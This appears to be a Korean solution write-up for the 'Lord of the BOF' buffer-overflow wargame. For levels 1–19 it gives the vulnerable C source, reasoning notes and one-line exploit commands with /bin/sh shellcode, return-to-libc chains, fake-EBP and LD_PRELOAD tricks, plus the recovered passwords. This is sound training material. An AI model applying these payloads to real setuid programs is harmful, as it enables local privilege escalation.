Level 1. (완료)

단순 BoF 문제.

소스코드를 보면 strcpy 함수를 통해 256바이트를 buffer[256] 에 단순히 복사하는 코드임

소스코드

|  |
| --- |
| 생략 |

./gremlin $(python -c 'print "\x90"\*200 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x90"\*36 + "\x58\xf9\xff\xbf"')

결과

|  |
| --- |
| uid=500(gate) gid=500(gate) euid=501(gremlin) egid=501(gremlin) groups=500(gate)  bash$ my-pass  euid = 501  hello bof world |

Level 2. cobolt

소스코드

|  |
| --- |
| [gremlin@localhost cobolt]$ cat cobolt.c  /\*  The Lord of the BOF : The Fellowship of the BOF  - cobolt  - small buffer  \*/  int main(int argc, char \*argv[])  {  char buffer[16];  if(argc < 2){  printf("argv error\n");  exit(0);  }  strcpy(buffer, argv[1]);  printf("%s\n", buffer);  } |

Solution

|  |
| --- |
| ./cobolt $(python -c 'print "\x90"\*20 + "\xb1\xfa\xff\xbf" + "\x90"\*10 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"')  [NOP 20] + [RET] + [NOP 10] + [Shell 24] |

소스코드를 일부 수정하여 25바이트째 (쉘코드 시작지점)의 주소를 출력하도록 미리 해둔 다음 RET 주소를 구했음

결과 : hacking exposed

Level 3.

소스코드

|  |
| --- |
| /\*  The Lord of the BOF : The Fellowship of the BOF  - goblin  - small buffer + stdin  \*/  int main()  {  char buffer[16];  gets(buffer);  printf("%s\n", buffer);  } |

Solution

|  |
| --- |
| 1. getenv 함수를 통해 Shellcode 위치 확인  2. 파이프 명령어를 통해 명령어 전송  (python -c 'print "A"\*20 + "\xb5\xfd\xff\xbf"'; cat)| ./goblin |

결과 : hackers proof

Level 4.

소스코드

|  |
| --- |
| /\*  The Lord of the BOF : The Fellowship of the BOF  - orc  - egghunter  \*/  #include <stdio.h>  #include <stdlib.h>  extern char \*\*environ;  main(int argc, char \*argv[])  {  char buffer[40];  int i;  if(argc < 2){  printf("argv error\n");  exit(0);  }  // egghunter  for(i=0; environ[i]; i++)  memset(environ[i], 0, strlen(environ[i]));  if(argv[1][47] != '\xbf')  {  printf("stack is still your friend.\n");  exit(0);  }  strcpy(buffer, argv[1]);  printf("%s\n", buffer);  } |

Solution

|  |
| --- |
| 1. 환경변수를 모두 0으로 만들어버리므로 getenv를 사용할 수 없다. (이전 레벨과 같이 export SHCODE 사용불가)  2. 버퍼 크기가 40바이트 쉘코드는 24바이트 이므로 버퍼 최초 위치로 점프하도록 조작  3. gdb 상에서 보이는 esp 위치와 실제 실행시 esp 위치가 다른데… 이 문제는 사본을 복사한후 버퍼 위치 주소를 찍어주도록 소스를 수정한 뒤  최초 버퍼 위치를 알아내면 된다.  ./orc $(python -c'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x90"\*20 + "\xa0\xfa\xff\xbf"') |

결과 : cantata

Level 5.

소스코드

|  |
| --- |
| /\*  The Lord of the BOF : The Fellowship of the BOF  - wolfman  - egghunter + buffer hunter  \*/  #include <stdio.h>  #include <stdlib.h>  extern char \*\*environ;  main(int argc, char \*argv[])  {  char buffer[40];  int i;  if(argc < 2){  printf("argv error\n");  exit(0);  }  // egghunter  for(i=0; environ[i]; i++)  memset(environ[i], 0, strlen(environ[i]));  if(argv[1][47] != '\xbf')  {  printf("stack is still your friend.\n");  exit(0);  }  strcpy(buffer, argv[1]);  printf("%s\n", buffer);  // buffer hunter  memset(buffer, 0, 40);  } |

Solution

|  |
| --- |
| 1. memset을 이용해 버퍼 40바이트트 초기화 시켜 버리므로….  2. 40바이트 이후 (RET 뒤쪽) Shelcode를 삽입한다음 RET주소를 쉘코드 위치로 점프시킨다.  ./wolfman $(python -c'print "\x90"\*44 + "\xa0\xfa\xff\xbf" + "\x90"\*150 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"') |

결과 : love eyuna

Level 6.

소스코드

|  |
| --- |
| /\*  The Lord of the BOF : The Fellowship of the BOF  - darkelf  - egghunter + buffer hunter + check length of argv[1]  \*/  #include <stdio.h>  #include <stdlib.h>  extern char \*\*environ;  main(int argc, char \*argv[])  {  char buffer[40];  int i;  if(argc < 2){  printf("argv error\n");  exit(0);  }  // egghunter  for(i=0; environ[i]; i++)  memset(environ[i], 0, strlen(environ[i]));  if(argv[1][47] != '\xbf')  {  printf("stack is still your friend.\n");  exit(0);  }  // check the length of argument  if(strlen(argv[1]) > 48){  printf("argument is too long!\n");  exit(0);  }  strcpy(buffer, argv[1]);  printf("%s\n", buffer);  // buffer hunter  memset(buffer, 0, 40);  } |

Solution

|  |
| --- |
| 1. Level 5와 동일  2. NOP를 앞에 배치해야 에러 없이 잘되더라…  ./darkelf $(python -c'print "\x90"\*20+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x24\xfc\xff\xbf"') |

결과 : kernel crashed

Level 7.

소스코드

|  |
| --- |
| /\*  The Lord of the BOF : The Fellowship of the BOF  - orge  - check argv[0]  \*/  #include <stdio.h>  #include <stdlib.h>  extern char \*\*environ;  main(int argc, char \*argv[])  {  char buffer[40];  int i;  if(argc < 2){  printf("argv error\n");  exit(0);  }  // here is changed!  if(strlen(argv[0]) != 77){  printf("argv[0] error\n");  exit(0);  }  // egghunter  for(i=0; environ[i]; i++)  memset(environ[i], 0, strlen(environ[i]));  if(argv[1][47] != '\xbf')  {  printf("stack is still your friend.\n");  exit(0);  }  // check the length of argument  if(strlen(argv[1]) > 48){  printf("argument is too long!\n");  exit(0);  }  strcpy(buffer, argv[1]);  printf("%s\n", buffer);  // buffer hunter  memset(buffer, 0, 40);  } |

Solution

|  |
| --- |
| 1. argv[0] 길이를 77바이트로 맞춰줄 수 있도록 파이썬 코드를 추가해서 넣어준다.  2. 나머지는 Level6와 동일하다  $(python -c'print "."+"/"\*72+"orge"') $(python -c'print "\x90"\*20+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x8b\xfb\xff\xbf"') |

결과 : timewalker

Level 8.

소스코드

|  |
| --- |
| /\*  The Lord of the BOF : The Fellowship of the BOF  - troll  - check argc + argv hunter  \*/  #include <stdio.h>  #include <stdlib.h>  extern char \*\*environ;  main(int argc, char \*argv[])  {  char buffer[40];  int i;  // here is changed  if(argc != 2){  printf("argc must be two!\n");  exit(0);  }  // egghunter  for(i=0; environ[i]; i++)  memset(environ[i], 0, strlen(environ[i]));  if(argv[1][47] != '\xbf')  {  printf("stack is still your friend.\n");  exit(0);  }  // check the length of argument  if(strlen(argv[1]) > 48){  printf("argument is too long!\n");  exit(0);  }  strcpy(buffer, argv[1]);  printf("%s\n", buffer);  // buffer hunter  memset(buffer, 0, 40);  // one more!  memset(argv[1], 0, strlen(argv[1]));  } |

Solution

|  |
| --- |
| 1.심볼릭 링크를 argv[0] 으로…  ln -s troll $(python -c 'print "\x90"\*100 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"')  공격 코드  ./$(python -c 'print "\x90"\*100 +"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"') $(python -c'print"\x90"\*44 + "\x77\xfa\xff\xbf"') |

결과 : aspirin

Level 9.

소스코드

|  |
| --- |
| /\*  The Lord of the BOF : The Fellowship of the BOF  - vampire  - check 0xbfff  \*/  #include <stdio.h>  #include <stdlib.h>  main(int argc, char \*argv[])  {  char buffer[40];  if(argc < 2){  printf("argv error\n");  exit(0);  }  if(argv[1][47] != '\xbf')  {  printf("stack is still your friend.\n");  exit(0);  }  // here is changed!  if(argv[1][46] == '\xff')  {  printf("but it's not forever\n");  exit(0);  }  strcpy(buffer, argv[1]);  printf("%s\n", buffer);  } |

Solution

|  |
| --- |
| 1. 46번째 바이트가 \xff이면 안되므로….  2. 버퍼 크기를 엄청 크게 하면 스택 주소가 위로 밀려나면서 \xfe 번지까지 늘어난다.  3. 쉘코드는 ...  ./vampire $(python -c'print "\x10\x26\xfe\xbf"\*12 + "\x90"\*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "AAAA"\*30000') |

결과 : music world

Level 10.

소스코드

|  |
| --- |
| /\*  The Lord of the BOF : The Fellowship of the BOF  - skeleton  - argv hunter  \*/  #include <stdio.h>  #include <stdlib.h>  extern char \*\*environ;  main(int argc, char \*argv[])  {  char buffer[40];  int i, saved\_argc;  if(argc < 2){  printf("argv error\n");  exit(0);  }  // egghunter  for(i=0; environ[i]; i++)  memset(environ[i], 0, strlen(environ[i]));  if(argv[1][47] != '\xbf')  {  printf("stack is still your friend.\n");  exit(0);  }  // check the length of argument  if(strlen(argv[1]) > 48){  printf("argument is too long!\n");  exit(0);  }  // argc saver  saved\_argc = argc;  strcpy(buffer, argv[1]);  printf("%s\n", buffer);  // buffer hunter  memset(buffer, 0, 40);  // ultra argv hunter!  for(i=0; i<saved\_argc; i++)  memset(argv[i], 0, strlen(argv[i]));  } |

Solution

|  |
| --- |
| 1. 가장 짜증나는 문제중 하나….일단 모든 argv값을 초기화 하므로 쉘 코드는 소용이 없음;;;  2. 스택 끝자락에 보면 실행파일명 (skeleton)이 들어가있는것이 보임…  3. 이것을 이전에 했던 심볼릭 링크를 이용해서 리턴 주소를 이쪽으로 보내면 됨…  4. 기존 쉘코드가 안먹는다… 다른 쉘코드 사용해야함  심볼릭 링크  ln -s skeleton $(echo -en "\x68\xf9\xbf\x0f\x40\x68\xe0\x91\x03\x40\xb8\xe0\x8a\x05\x40\x50\xc3")  공격 코드  ./$(python -c 'print "\x68\xf9\xbf\x0f\x40\x68\xe0\x91\x03\x40\xb8\xe0\x8a\x05\x40\x50\xc3"') $(python -c'print"\x90"\*44 + "\xea\xff\xff\xbf"')  리턴 주소는 gdb를 통해 알아내야 된다.. |

결과 : shellcoder

Level 11.

소스코드

|  |
| --- |
| /\*  The Lord of the BOF : The Fellowship of the BOF  - golem  - stack destroyer  \*/  #include <stdio.h>  #include <stdlib.h>  extern char \*\*environ;  main(int argc, char \*argv[])  {  char buffer[40];  int i;  if(argc < 2){  printf("argv error\n");  exit(0);  }  if(argv[1][47] != '\xbf')  {  printf("stack is still your friend.\n");  exit(0);  }  strcpy(buffer, argv[1]);  printf("%s\n", buffer);  // stack destroyer!  memset(buffer, 0, 44);  memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));  } |

Solution

|  |
| --- |
| 1. 스택을 모두 초기화 시켜 버리므로..  2. 공유 라이브러리 (pre load library)에 쉘코드를 등록한 후  3. 스택위치에서 쉘코드 위치 확인하여 그쪽으로 점프하면 됨  gcc attack.c -fPIC -shared -o $(python -c 'print"\x90"\*120 + "\x68\xf9\xbf\x0f\x40\x68\xe0\x91\x03\x40\xb8\xe0\x8a\x05\x40\x50\xc3"')  export LD\_PRELOAD="$(pwd)/$(python -c 'print "\x90"\*120 + "\x68\xf9\xbf\x0f\x40\x68\xe0\x91\x03\x40\xb8\xe0\x8a\x05\x40\x50\xc3"')"  Breakpoint 1, 0x8048516 in main ()  (gdb) x/90x $ebp - 3000  공격코드  ./golem $(python -c'print "\xf8\xf5\xff\xbf"\*13') |

결과 : cup of coffee

Level 12.

소스코드

|  |
| --- |
| /\*  The Lord of the BOF : The Fellowship of the BOF  - darkknight  - FPO  \*/  #include <stdio.h>  #include <stdlib.h>  void problem\_child(char \*src)  {  char buffer[40];  strncpy(buffer, src, 41);  printf("%s\n", buffer);  }  main(int argc, char \*argv[])  {  if(argc<2){  printf("argv error\n");  exit(0);  }  problem\_child(argv[1]);  } |

Solution

|  |
| --- |
| 겁나 짜증 나는 문제 중 하나… 이상하게 스택 구조가 매번 실행때 마다 지멋대로 움직여서...ㅠㅠ  1. 코드를 보면 알겠지만 41바이트째 위치가 SFP의 마지막 1바이트값만 바뀐다.  2. 이 값이 함수 종료와 함께 MOV ESP, EBP가 되면서 변조된 EBP값이 ESP에들어가고  3. 다시 이 값이 POP EBP를 통해 변조된 값이 EBP에 저장됨  4. MAIN 함수가 종료하면서 또다시 MOV ESP, EBP가 발생하는데 이때 EBP는 변조된 값, ESP 값은 떨어진다.  5. RETN이 되면서 변조된 곳으로 Jump하게 만드는것이 중요함…  공격 코드  ./darkknight $(python -c'print"\xfd\xfb\xff\xbf"\*10+"\x44"') $(python -c'print"\x90"\*76 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"') |

결과 : new attacker

Level 13.

소스코드

|  |
| --- |
| /\*  The Lord of the BOF : The Fellowship of the BOF  - bugbear  - RTL1  \*/  #include <stdio.h>  #include <stdlib.h>  main(int argc, char \*argv[])  {  char buffer[40];  int i;  if(argc < 2){  printf("argv error\n");  exit(0);  }  if(argv[1][47] == '\xbf')  {  printf("stack betrayed you!!\n");  exit(0);  }  strcpy(buffer, argv[1]);  printf("%s\n", buffer);  } |

Solution

|  |
| --- |
| RET를 이용하는 문제  RET주소를 시스템 콜 함수 위치로 점프하고… 그 아래쪽 스택을 RET주소와 Parameter로 채워준다.  콜함수 :system() / 리턴주소 : exit() / 파라미터 : /bin/sh  ./bugbear $(python -c 'print "A"\*44 + "\xe0\x8a\x05\x40" + "\xe0\x91\x03\x40" + "\xf9\xbf\x0f\x40"') |

결과 : new divide

Level 14.

소스코드

|  |
| --- |
| /\*  The Lord of the BOF : The Fellowship of the BOF  - giant  - RTL2  \*/  #include <stdio.h>  #include <stdlib.h>  #include <unistd.h>  main(int argc, char \*argv[])  {  char buffer[40];  FILE \*fp;  char \*lib\_addr, \*execve\_offset, \*execve\_addr;  char \*ret;  if(argc < 2){  printf("argv error\n");  exit(0);  }  // gain address of execve  fp = popen("/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}'", "r");  fgets(buffer, 255, fp);  sscanf(buffer, "(%x)", &lib\_addr);  fclose(fp);  fp = popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep \_\_execve | /bin/awk '{print $1}'", "r");  fgets(buffer, 255, fp);  sscanf(buffer, "%x", &execve\_offset);  fclose(fp);  execve\_addr = lib\_addr + (int)execve\_offset;  // end  memcpy(&ret, &(argv[1][44]), 4);  if(ret != execve\_addr)  {  printf("You must use execve!\n");  exit(0);  }  strcpy(buffer, argv[1]);  printf("%s\n", buffer);  } |

Solution

|  |
| --- |
| execve() 함수를 이용해서 풀면된다. 이 함수의 위치를 RETN 위치에 넣어준 후  나머지 파라미터는 이전 레벨 문제와 동일  ./giant "$(python -c'print "\x90"\*44+"\x48\x9d\x0a\x40"+"\xe0\x8a\x05\x40"+"\xe0\x91\x03\x40"+"\xf9\xbf\x0f\x40"')"  execve + system() + exit() + /bin/sh |

결과 : one step closer

Level 15.

소스코드

|  |
| --- |
| /\*  The Lord of the BOF : The Fellowship of the BOF  - assassin  - no stack, no RTL  \*/  #include <stdio.h>  #include <stdlib.h>  main(int argc, char \*argv[])  {  char buffer[40];  if(argc < 2){  printf("argv error\n");  exit(0);  }  if(argv[1][47] == '\xbf')  {  printf("stack retbayed you!\n");  exit(0);  }  if(argv[1][47] == '\x40')  {  printf("library retbayed you, too!!\n");  exit(0);  }  strcpy(buffer, argv[1]);  printf("%s\n", buffer);  // buffer+sfp hunter  memset(buffer, 0, 44);  } |

Solution

|  |
| --- |
| 스택도 쓸수 없고, RET도 못쓴다고 나와있다;;; 어쩌지?  1. RET 위치에 RETN 명령어의 주소를 넣어주면 ESP + 4가 되면서 EIP 포인터가 바뀜  2. 리턴되는 위치에 syste()함수 위치 시키면 됨. Level13/14와 동일  공격코드  ./assassin $(python -c 'print "A"\*44 + "\x36\x83\x04\x08" + "\xe0\x8a\x05\x40" + "\xe0\x91\x03\x40" + "\xf9\xbf\x0f\x40"') |

결과 : pushing me away

Level 16.

소스코드

|  |
| --- |
| /\*  The Lord of the BOF : The Fellowship of the BOF  - zombie\_assassin  - FEBP  \*/  #include <stdio.h>  #include <stdlib.h>  main(int argc, char \*argv[])  {  char buffer[40];  if(argc < 2){  printf("argv error\n");  exit(0);  }  if(argv[1][47] == '\xbf')  {  printf("stack retbayed you!\n");  exit(0);  }  if(argv[1][47] == '\x40')  {  printf("library retbayed you, too!!\n");  exit(0);  }  // strncpy instead of strcpy!  strncpy(buffer, argv[1], 48);  printf("%s\n", buffer);  } |

Solution

|  |
| --- |
| 1. FAKE EBP 기법을 써야 한다.  2. 우선 SFP 위치를 버퍼의 시작 위치로 넣는다.  3. 버퍼 시작 위치에는 4바이트 패딩과 함께 시스템 콜 함수를 배치 한다.  4. RET 위치에 LEAVE-RET 시작 주소를 넣어주게 되면… FAKE EBP값에 의해 ESP가 버퍼 시작위치로 뛰게 된다.  공격코드  ./zombie\_assassin $(python -c 'print"AAAA" + "\xe0\x8a\x05\x40" + "\xe0\x91\x03\x40" + "\xf9\xbf\x0f\x40" + "AAAA"\*6 + "\x70\xfa\xff\xbf" + "\xdf\x84\x04\x08"') |

결과 : no place to hide

Level 17.

소스코드

|  |
| --- |
| /\*  The Lord of the BOF : The Fellowship of the BOF  - succubus  - calling functions continuously  \*/  #include <stdio.h>  #include <stdlib.h>  #include <dumpcode.h>  // the inspector  int check = 0;  void MO(char \*cmd)  {  if(check != 4)  exit(0);  printf("welcome to the MO!\n");  // olleh!  system(cmd);  }  void YUT(void)  {  if(check != 3)  exit(0);  printf("welcome to the YUT!\n");  check = 4;  }  void GUL(void)  {  if(check != 2)  exit(0);  printf("welcome to the GUL!\n");  check = 3;  }  void GYE(void)  {  if(check != 1)  exit(0);  printf("welcome to the GYE!\n");  check = 2;  }  void DO(void)  {  printf("welcome to the DO!\n");  check = 1;  }  main(int argc, char \*argv[])  {  char buffer[40];  char \*addr;  if(argc < 2){  printf("argv error\n");  exit(0);  }  // you cannot use library  if(strchr(argv[1], '\x40')){  printf("You cannot use library\n");  exit(0);  }  // check address  addr = (char \*)&DO;  if(memcmp(argv[1]+44, &addr, 4) != 0){  printf("You must fall in love with DO\n");  exit(0);  }  // overflow!  strcpy(buffer, argv[1]);  printf("%s\n", buffer);  // stack destroyer  // 100 : extra space for copied argv[1]  memset(buffer, 0, 44);  memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100));  // LD\_\* eraser  // 40 : extra space for memset function  memset(buffer-3000, 0, 3000-40);  } |

Solution

|  |
| --- |
| 도계걸윳모 함수를 모두 호출해야 한다 (체크 인자 있음)  cmd()함수가 MO()에 있으므로...MO까지는 어쨌든 실행해야함  첫번째RET주소가 DO주소와 동일해야함  공격코드  ./succubus $(python -c 'print "A"\*44 + "\xec\x87\x04\x08" + "\xbc\x87\x04\x08" + "\x8c\x87\x04\x08" + "\x5c\x87\x04\x08" + "\x24\x87\x04\x08" + "dmmm" + "\x78\xfa\xff\xbf" + "/bin/sh"') |

결과 : here to stay

Level 18.

소스코드

|  |
| --- |
| #include <stdio.h>  #include <stdlib.h>  #include <string.h>  #include <dumpcode.h>  main(int argc, char \*argv[])  {  char buffer[40];  char \*addr;  if(argc < 2){  printf("argv error\n");  exit(0);  }  // check address  addr = (char \*)&strcpy;  if(memcmp(argv[1]+44, &addr, 4) != 0){  printf("You must fall in love with strcpy()\n");  exit(0);  }  // overflow!  strcpy(buffer, argv[1]);  printf("%s\n", buffer);  // dangerous waterfall  memset(buffer+40+8, 'A', 4);  } |

Solution

|  |
| --- |
| 깊은 빡침이 밀려오는 코드다….  1. 일단 ret 주소가 strcpy 함수 주소를 찾아 넣는다.  2. strcpy의 ret에 Dummy를 넣는다.  3. Parameter1 (DST) = &ESP + 4 (&Dummy)  4. Parameter2 (SRC) = &ARGV[2] → System Call (/bin/sh)  원리는...ARGV2번 주소를 Dummy 위치 (RET)에 복사한다음 RET가 되면서 ARGV[2]로 점프하여 쉘이 실행되는 구조임..  테스트 할 때 파일명과 동일한 길이의 사본을 만드는 것이 중요 (이것땜에 2시간 삽질함…)  ./nightmare $(python -c 'print"A"\*44 + "\x10\x84\x04\x08" + "BBBB" + "\xb0\xfa\xff\xbf" + "\x3f\xfc\xff\xbf "') $(python -c'print"\xe0\x8a\x05\x40" + "\xe0\x91\x03\x40" + "\xf9\xbf\x0f\x40"') |

결과 : beg for me

Level 19.

소스코드

|  |
| --- |
| /\*  The Lord of the BOF : The Fellowship of the BOF  - xavius  - arg  \*/  #include <stdio.h>  #include <stdlib.h>  #include <dumpcode.h>  main()  {  char buffer[40];  char \*ret\_addr;  // overflow!  fgets(buffer, 256, stdin);  printf("%s\n", buffer);  if(\*(buffer+47) == '\xbf')  {  printf("stack retbayed you!\n");  exit(0);  }  if(\*(buffer+47) == '\x08')  {  printf("binary image retbayed you, too!!\n");  exit(0);  }  // check if the ret\_addr is library function or not  memcpy(&ret\_addr, buffer+44, 4);  while(memcmp(ret\_addr, "\x90\x90", 2) != 0) // end point of function  {  if(\*ret\_addr == '\xc9'){ // leave  if(\*(ret\_addr+1) == '\xc3'){ // ret  printf("You cannot use library function!\n");  exit(0);  }  }  ret\_addr++;  }  // stack destroyer  memset(buffer, 0, 44);  memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));  // LD\_\* eraser  // 40 : extra space for memset function  memset(buffer-3000, 0, 3000-40);  } |

Solution

|  |
| --- |
| 1. 모든 RET변조 RETN 변조 다 차단되었으므로.. fgets()함수를 이용해야 한다.  2. fgets는 stdin 인자를 받을 때 별도의 메모리 영역을 잡아서 임시로 값을 저장한다. (0x40015000)  3. 확인 방법은 cat /proc/PID/maps  4. 패딩 + 쉘코드 + RET (임시영역주소)로 하여 값을 넘기면 성공  공격코드  $ ( python -c 'print "\x90"\*27 + "\x68\xf9\xbf\x0f\x40\x68\xe0\x91\x03\x40\xb8\xe0\x8a\x05\x40\x50\xc3" + "\x01\x50\x01\x40"' ; cat) | ./xavius |

결과 : throw me away

Level 20.

소스코드

|  |
| --- |
|  |

Solution

|  |
| --- |
|  |

결과 :